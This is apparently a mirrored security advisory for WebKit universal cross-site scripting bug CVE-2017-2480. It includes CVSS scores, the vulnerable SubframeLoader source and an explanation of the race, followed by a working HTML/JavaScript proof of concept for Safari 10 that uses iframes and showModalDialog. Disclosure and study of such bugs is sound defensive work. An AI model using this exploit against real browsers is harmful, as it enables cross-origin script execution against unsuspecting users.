WebKit Synchronous Page Load UXSS

2017.04.10
Credit: lokihardt
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

WebKit: UXSS via a synchronous page load CVE-2017-2480 Here's a snippet of the method SubframeLoader::requestFrame which is invoked when the |src| of an iframe object is changed. bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList) { // Support for <frame src="javascript:string"> URL scriptURL; URL url; if (protocolIsJavaScript(urlString)) { scriptURL = completeURL(urlString); // completeURL() encodes the URL. url = blankURL(); } else url = completeURL(urlString); if (shouldConvertInvalidURLsToBlank() && !url.isValid()) url = blankURL(); Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made. if (!frame) return false; if (!scriptURL.isEmpty()) frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom return true; } A SOP violation check is made before the above method is called. But the frame's document can be changed before |frame->script().executeIfJavaScriptURL| called. This can happen by calling |showModalDialog| that enters a message loop that may start pending page loads. Tested on Safari 10.0.3(12602.4.8). PoC: <body> <p>click anywhere</p> <script> window.onclick = () => { window.onclick = null; f = document.createElement('iframe'); f.src = 'javascript:alert(location)'; f.onload = () => { f.onload = null; let a = f.contentDocument.createElement('a'); a.href = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a> a.click(); window.showModalDialog(URL.createObjectURL(new Blob([` <script> let it = setInterval(() => { try { opener[0].document.x; } catch (e) { clearInterval(it); window.close(); } }, 100); </scrip` + 't>'], {type: 'text/html'}))); }; document.body.appendChild(f); }; cached.src = kUrl; </script> </body> This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. Found by: lokihardt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top